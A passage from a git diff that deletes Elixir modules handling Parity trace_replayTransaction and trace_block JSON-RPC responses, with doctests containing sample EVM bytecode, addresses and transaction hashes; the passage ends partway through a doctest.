trace_replay_transaction_responses_to_first_trace(responses, id_to_params) - when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&trace_replay_transaction_response_to_first_trace(&1, id_to_params)) - |> Enum.reduce( - {:ok, []}, - fn - {:ok, traces}, {:ok, acc_traces_list} -> - {:ok, [traces | acc_traces_list]} - - {:ok, _}, {:error, _} = acc_error -> - acc_error - - {:error, reason}, {:ok, _} -> - {:error, [reason]} - - {:error, reason}, {:error, acc_reason} -> - {:error, [reason | acc_reason]} - end - ) - |> case do - {:ok, traces_list} -> - traces = - traces_list - |> Enum.reverse() - |> List.flatten() - - {:ok, traces} - - {:error, reverse_reasons} -> - reasons = Enum.reverse(reverse_reasons) - {:error, reasons} - end - end - - defp trace_replay_transaction_response_to_first_trace(%{id: id, result: %{"trace" => traces}}, id_to_params) - when is_list(traces) and is_map(id_to_params) do - %{ - block_hash: block_hash, - block_number: block_number, - hash_data: transaction_hash, - transaction_index: transaction_index - } = Map.fetch!(id_to_params, id) - - first_trace = - traces - |> Stream.with_index() - |> Enum.map(fn {trace, index} -> - Map.merge(trace, %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "index" => index, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash - }) - end) - |> Enum.filter(fn trace -> - Map.get(trace, "index") == 0 - end) - - {:ok, first_trace} - end - - defp trace_replay_transaction_response_to_first_trace(%{id: id, error: error}, id_to_params) - when is_map(id_to_params) do - %{ - block_hash: block_hash, - block_number: block_number, - hash_data: transaction_hash, - transaction_index: transaction_index - } = Map.fetch!(id_to_params, id) - - annotated_error = - Map.put(error, :data, %{ - "blockHash" => block_hash, - "blockNumber" => block_number, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash - }) - - {:error, annotated_error} - end - - defp trace_replay_transaction_requests(id_to_params) when is_map(id_to_params) do - Enum.map(id_to_params, fn {id, %{hash_data: hash_data}} -> - trace_replay_transaction_request(%{id: id, hash_data: hash_data}) - end) - end - - defp trace_replay_transaction_request(%{id: id, hash_data: hash_data}) do - request(%{id: id, method: "trace_replayTransaction", params: [hash_data, ["trace"]]}) - end -end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/fetched_beneficiaries.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/fetched_beneficiaries.ex deleted file mode 100644 index 4c8d0ca780df..000000000000 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/fetched_beneficiaries.ex +++ /dev/null @@ -1,184 +0,0 @@ -defmodule EthereumJSONRPC.Parity.FetchedBeneficiaries do - @moduledoc """ - Beneficiaries and errors from batch requests to `trace_block`. - """ - - import EthereumJSONRPC, only: [quantity_to_integer: 1] - - @doc """ - Converts `responses` to `EthereumJSONRPC.FetchedBeneficiaries.t()`. - - responses - List with trace_block responses - id_to_params - Maps request id to query params - - ## Examples - iex> EthereumJSONRPC.Parity.FetchedBeneficiaries.from_responses( - ...> [ - ...> %{ - ...> id: 0, - ...> result: [ - ...> %{ - ...> "action" => %{"author" => "0x1", "rewardType" => "external", "value" => "0x0"}, - ...> "blockHash" => "0xFFF", - ...> "blockNumber" => 12, - ...> "result" => nil, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionHash" => nil, - ...> "transactionPosition" => nil, - ...> "type" => "reward" - ...> }, - ...> %{ - ...> "action" => %{"author" => "0x2", "rewardType" => "external", "value" => "0x0"}, - ...> "blockHash" => "0xFFF", - ...> "blockNumber" => 12, - ...> "result" => nil, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionHash" => nil, - ...> "transactionPosition" => nil, - ...> "type" => "reward" - ...> } - ...> ] - ...> } - ...> ], - ...> %{0 => %{block_quantity: "0xC"}} - ...> ) - %EthereumJSONRPC.FetchedBeneficiaries{ - errors: [], - params_set: #MapSet<[ - %{ - address_hash: "0x1", - address_type: :validator, - block_hash: "0xFFF", - block_number: 12, - reward: "0x0" - }, - %{ - address_hash: "0x2", - address_type: :emission_funds, - block_hash: "0xFFF", - block_number: 12, - reward: "0x0" - } - ]> - } - """ - def from_responses(responses, id_to_params) when is_list(responses) and is_map(id_to_params) do - responses - |> Enum.map(&response_to_params_set(&1, id_to_params)) - |> Enum.reduce( - %EthereumJSONRPC.FetchedBeneficiaries{}, - fn - {:ok, params_set}, %EthereumJSONRPC.FetchedBeneficiaries{params_set: acc_params_set} = acc -> - %EthereumJSONRPC.FetchedBeneficiaries{acc | params_set: MapSet.union(acc_params_set, params_set)} - - {:error, reason}, %EthereumJSONRPC.FetchedBeneficiaries{errors: errors} = acc -> - %EthereumJSONRPC.FetchedBeneficiaries{acc | errors: [reason | errors]} - end - ) - end - - @doc """ - `trace_block` requests for `id_to_params`. - """ - def requests(id_to_params) when is_map(id_to_params) do - id_to_params - |> Enum.map(fn {id, %{block_quantity: block_quantity}} -> - request(%{id: id, block_quantity: block_quantity}) - end) - |> Enum.filter(&(!is_nil(&1))) - end - - @spec response_to_params_set(%{id: id, result: nil}, %{id => %{block_quantity: block_quantity}}) :: - {:error, %{code: 404, message: String.t(), data: %{block_quantity: block_quantity}}} - when id: non_neg_integer(), block_quantity: String.t() - defp response_to_params_set(%{id: id, result: nil}, id_to_params) when is_map(id_to_params) do - %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) - - {:error, %{code: 404, message: "Not Found", data: %{block_quantity: block_quantity}}} - end - - @spec response_to_params_set(%{id: id, result: list(map())}, %{id => %{block_quantity: block_quantity}}) :: - {:ok, MapSet.t(EthereumJSONRPC.FetchedBeneficiary.params())} - when id: non_neg_integer(), block_quantity: String.t() - defp response_to_params_set(%{id: id, result: traces}, id_to_params) when is_list(traces) and is_map(id_to_params) do - %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) - block_number = quantity_to_integer(block_quantity) - params_set = traces_to_params_set(traces, block_number) - - {:ok, params_set} - end - - @spec response_to_params_set(%{id: id, error: %{code: code, message: message}}, %{ - id => %{block_quantity: block_quantity} - }) :: {:error, %{code: code, message: message, data: %{block_quantity: block_quantity}}} - when id: non_neg_integer(), code: integer(), message: String.t(), block_quantity: String.t() - defp response_to_params_set(%{id: id, error: error}, id_to_params) when is_map(id_to_params) do - %{block_quantity: block_quantity} = Map.fetch!(id_to_params, id) - - annotated_error = Map.put(error, :data, %{block_quantity: block_quantity}) - - {:error, annotated_error} - end - - defp request(%{id: id, block_quantity: block_quantity}) when is_integer(id) and is_binary(block_quantity) do - if block_quantity == "0x0" do - nil - else - EthereumJSONRPC.request(%{id: id, method: "trace_block", params: [block_quantity]}) - end - end - - defp traces_to_params_set(traces, block_number) when is_list(traces) and is_integer(block_number) do - traces - |> Stream.filter(&(&1["type"] == "reward")) - |> Stream.with_index() - |> Enum.reduce(MapSet.new(), fn {trace, index}, acc -> - MapSet.union(acc, trace_to_params_set(trace, block_number, index)) - end) - end - - defp trace_to_params_set( - %{ - "action" => %{ - "rewardType" => reward_type, - "author" => address_hash_data, - "value" => reward_value - }, - "blockHash" => block_hash, - "blockNumber" => block_number - }, - block_number, - index - ) - when is_integer(block_number) and reward_type in ~w(block external uncle) do - MapSet.new([ - %{ - address_hash: address_hash_data, - block_hash: block_hash, - block_number: block_number, - reward: reward_value, - address_type: get_address_type(reward_type, index) - } - ]) - end - - # Beneficiary's address type will depend on the responses' action.rewardType, - # which will vary depending on which network is being indexed - # - # On POA networks, rewardType will always be external and the type of the address being - # rewarded will depend on its position. - # First address will always be the validator's while the second will be the EmissionsFunds address - # - # On PoW networks, like Ethereum, the reward type will already specify the type for the - # address being rewarded - # The rewardType "block" will show the reward for the consensus block validator - # The rewardType "uncle" will show reward for validating an uncle block - defp get_address_type(reward_type, index) when reward_type == "external" and index == 0, do: :validator - defp get_address_type(reward_type, index) when reward_type == "external" and index == 1, do: :emission_funds - defp get_address_type(reward_type, index) when reward_type == "external" and index >= 2, do: :validator - defp get_address_type(reward_type, _index) when reward_type == "block", do: :validator - defp get_address_type(reward_type, _index) when reward_type == "uncle", do: :uncle - defp get_address_type(reward_type, _index) when reward_type == "emptyStep", do: :validator -end diff --git a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace.ex b/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace.ex deleted file mode 100644 index dc17f3848b82..000000000000 --- a/apps/ethereum_jsonrpc/lib/ethereum_jsonrpc/parity/trace.ex +++ /dev/null @@ -1,502 +0,0 @@ -defmodule EthereumJSONRPC.Parity.Trace do - @moduledoc """ - Trace returned by - [`trace_replayTransaction`](https://wiki.parity.io/JSONRPC-trace-module.html#trace_replaytransaction), which is an - extension to the Ethereum JSONRPC standard that is only supported by [Parity](https://wiki.parity.io/). - """ - - alias EthereumJSONRPC.Parity.Trace.{Action, Result} - - @doc """ - Create type traces are generated when a contract is created. - - iex> EthereumJSONRPC.Parity.Trace.elixir_to_params( - ...> %{ - ...> "action" => %{ - ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - ...> "gas" => 4597044, - ...> "init" => "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - ...> "value" => 0 - ...> }, - ...> "blockNumber" => 34, - ...> "index" => 0, - ...> "result" => %{ - ...> "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", - ...> "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - ...> "gasUsed" => 166651 - ...> }, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", - ...> "type" => "create", - ...> "transactionIndex" => 0 - ...> } - ...> ) - %{ - block_number: 34, - created_contract_address_hash: "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", - created_contract_code: "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - gas: 4597044, - gas_used: 166651, - index: 0, - init: "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - trace_address: [], - transaction_hash: "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", - type: "create", - value: 0, - transaction_index: 0 - } - - A create can fail due to a Bad Instruction in the `init` that is meant to form the `code` of the contract - - iex> EthereumJSONRPC.Parity.Trace.elixir_to_params( - ...> %{ - ...> "action" => %{ - ...> "from" => "0x78a42d3705fb3c26a4b54737a784bf064f0815fb", - ...> "gas" => 3946728, - ...> "init" => "0x4bb278f3", - ...> "value" => 0 - ...> }, - ...> "blockNumber" => 35, - ...> "error" => "Bad instruction", - ...> "index" => 0, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionHash" => "0x3c624bb4852fb5e35a8f45644cec7a486211f6ba89034768a2b763194f22f97d", - ...> "type" => "create", - ...> "transactionIndex" => 0 - ...> } - ...> ) - %{ - block_number: 35, - error: "Bad instruction", - from_address_hash: "0x78a42d3705fb3c26a4b54737a784bf064f0815fb", - gas: 3946728, - index: 0, - init: "0x4bb278f3", - trace_address: [], - transaction_hash: "0x3c624bb4852fb5e35a8f45644cec7a486211f6ba89034768a2b763194f22f97d", - type: "create", - value: 0, - transaction_index: 0 - } - - Call type traces are generated when a method is called. Calls are further divided by call type. - - iex> EthereumJSONRPC.Parity.Trace.elixir_to_params( - ...> %{ - ...> "action" => %{ - ...> "callType" => "call", - ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - ...> "to" => "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", - ...> "gas" => 4677320, - ...> "input" => "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", - ...> "value" => 0 - ...> }, - ...> "blockNumber" => 35, - ...> "transactionIndex" => 0, - ...> "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", - ...> "index" => 0, - ...> "traceAddress" => [], - ...> "type" => "call", - ...> "result" => %{ - ...> "gasUsed" => 27770, - ...> "output" => "0x" - ...> }, - ...> "subtraces" => 0 - ...> } - ...> ) - %{ - block_number: 35, - transaction_index: 0, - transaction_hash: "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", - index: 0, - trace_address: [], - type: "call", - call_type: "call", - from_address_hash: "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - to_address_hash: "0x8bf38d4764929064f2d4d3a56520a76ab3df415b", - gas: 4677320, - gas_used: 27770, - input: "0x10855269000000000000000000000000862d67cb0773ee3f8ce7ea89b328ffea861ab3ef", - output: "0x", - value: 0 - } - - Calls can error and be reverted - - iex> EthereumJSONRPC.Parity.Trace.elixir_to_params( - ...> %{ - ...> "action" => %{ - ...> "callType" => "call", - ...> "from" => "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", - ...> "to" => "0xfdca0da4158740a93693441b35809b5bb463e527", - ...> "gas" => 7578728, - ...> "input" => "0xa6f2ae3a", - ...> "value" => 10000000000000000 - ...> }, - ...> "blockNumber" => 35, - ...> "transactionIndex" => 0, - ...> "transactionHash" => "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", - ...> "index" => 0, - ...> "traceAddress" => [], - ...> "type" => "call", - ...> "error" => "Reverted", - ...> "subtraces" => 7, - ...> } - ...> ) - %{ - block_number: 35, - transaction_index: 0, - transaction_hash: "0xcd7c15dbbc797722bef6e1d551edfd644fc7f4fb2ccd6a7947b2d1ade9ed140b", - index: 0, - trace_address: [], - type: "call", - call_type: "call", - from_address_hash: "0xc9266e6fdf5182dc47d27e0dc32bdff9e4cd2e32", - to_address_hash: "0xfdca0da4158740a93693441b35809b5bb463e527", - input: "0xa6f2ae3a", - error: "Reverted", - gas: 7578728, - value: 10000000000000000 - } - - Self-destruct transfer a `"balance"` from `"address"` to `"refundAddress"`. These self-destruct-unique fields can be - mapped to pre-existing `t:Explorer.Chain.InternalTransaction.t/0` fields. - - | Elixir | Params | - |-------------------|----------------------| - | `"address"` | `:from_address_hash` | - | `"balance"` | `:value` | - | `"refundAddress"` | `:to_address_hash` | - - iex> EthereumJSONRPC.Parity.Trace.elixir_to_params( - ...> %{ - ...> "action" => %{ - ...> "address" => "0xa7542d78b9a0be6147536887e0065f16182d294b", - ...> "balance" => 0, - ...> "refundAddress" => "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5" - ...> }, - ...> "blockNumber" => 35, - ...> "index" => 1, - ...> "result" => nil, - ...> "subtraces" => 0, - ...> "traceAddress" => [0], - ...> "transactionHash" => "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", - ...> "type" => "suicide", - ...> "transactionIndex" => 0 - ...> } - ...> ) - %{ - block_number: 35, - from_address_hash: "0xa7542d78b9a0be6147536887e0065f16182d294b", - index: 1, - to_address_hash: "0x59e2e9ecf133649b1a7efc731162ff09d29ca5a5", - trace_address: [0], - transaction_hash: "0xb012b8c53498c669d87d85ed90f57385848b86d3f44ed14b2784ec685d6fda98", - type: "selfdestruct", - value: 0, - transaction_index: 0 - } - - """ - - def elixir_to_params(%{"type" => "call" = type} = elixir) do - %{ - "action" => %{ - "callType" => call_type, - "to" => to_address_hash, - "from" => from_address_hash, - "input" => input, - "gas" => gas, - "value" => value - }, - "blockNumber" => block_number, - "transactionIndex" => transaction_index, - "transactionHash" => transaction_hash, - "index" => index, - "traceAddress" => trace_address - } = elixir - - %{ - block_number: block_number, - transaction_hash: transaction_hash, - transaction_index: transaction_index, - index: index, - trace_address: trace_address, - type: type, - call_type: call_type, - from_address_hash: from_address_hash, - to_address_hash: to_address_hash, - gas: gas, - input: input, - value: value - } - |> put_call_error_or_result(elixir) - end - - def elixir_to_params(%{"type" => "create" = type} = elixir) do - %{ - "action" => %{"from" => from_address_hash, "gas" => gas, "init" => init, "value" => value}, - "blockNumber" => block_number, - "index" => index, - "traceAddress" => trace_address, - "transactionHash" => transaction_hash, - "transactionIndex" => transaction_index - } = elixir - - %{ - block_number: block_number, - from_address_hash: from_address_hash, - gas: gas, - index: index, - init: init, - trace_address: trace_address, - transaction_hash: transaction_hash, - type: type, - value: value, - transaction_index: transaction_index - } - |> put_create_error_or_result(elixir) - end - - def elixir_to_params(%{"type" => "suicide"} = elixir) do - %{ - "action" => %{ - "address" => from_address_hash, - "balance" => value, - "refundAddress" => to_address_hash - }, - "blockNumber" => block_number, - "index" => index, - "traceAddress" => trace_address, - "transactionHash" => transaction_hash, - "transactionIndex" => transaction_index - } = elixir - - %{ - block_number: block_number, - from_address_hash: from_address_hash, - index: index, - to_address_hash: to_address_hash, - trace_address: trace_address, - transaction_hash: transaction_hash, - type: "selfdestruct", - value: value, - transaction_index: transaction_index - } - end - - @doc """ - Decodes the stringly typed numerical fields to `t:non_neg_integer/0`. - - iex> EthereumJSONRPC.Parity.Trace.to_elixir( - ...> %{ - ...> "action" => %{ - ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - ...> "gas" => "0x462534", - ...> "init" => "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - ...> "value" => "0x0" - ...> }, - ...> "blockNumber" => 1, - ...> "index" => 0, - ...> "result" => %{ - ...> "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", - ...> "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - ...> "gasUsed" => "0x28afb" - ...> }, - ...> "subtraces" => 0, - ...> "traceAddress" => [], - ...> "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", - ...> "transactionIndex" => 0, - ...> "type" => "create" - ...> } - ...> ) - %{ - "action" => %{ - "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - "gas" => 4597044, - "init" => "0x6060604052341561000f57600080fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506102db8061005e6000396000f300606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - "value" => 0 - }, - "blockNumber" => 1, - "index" => 0, - "result" => %{ - "address" => "0xffc87239eb0267bc3ca2cd51d12fbf278e02ccb4", - "code" => "0x606060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630900f01014610067578063445df0ac146100a05780638da5cb5b146100c9578063fdacd5761461011e575b600080fd5b341561007257600080fd5b61009e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610141565b005b34156100ab57600080fd5b6100b3610224565b6040518082815260200191505060405180910390f35b34156100d457600080fd5b6100dc61022a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012957600080fd5b61013f600480803590602001909190505061024f565b005b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610220578190508073ffffffffffffffffffffffffffffffffffffffff1663fdacd5766001546040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b151561020b57600080fd5b6102c65a03f1151561021c57600080fd5b5050505b5050565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102ac57806001819055505b505600a165627a7a72305820a9c628775efbfbc17477a472413c01ee9b33881f550c59d21bee9928835c854b0029", - "gasUsed" => 166651 - }, - "subtraces" => 0, - "traceAddress" => [], - "transactionHash" => "0x3a3eb134e6792ce9403ea4188e5e79693de9e4c94e499db132be086400da79e6", - "transactionIndex" => 0, - "type" => "create" - } - - The caller must put `"blockNumber"`, `"index"`, and `"transactionHash"` into the incoming map, as Parity itself does - not include that information, but it is needed to locate the trace in history and update addresses fully. - - iex> EthereumJSONRPC.Parity.Trace.to_elixir( - ...> %{ - ...> "action" => %{ - ...> "from" => "0xe8ddc5c7a2d2f0d7a9798459c0104fdf5e987aca", - ...> "gas" => "0x462534", - ...> "init" => 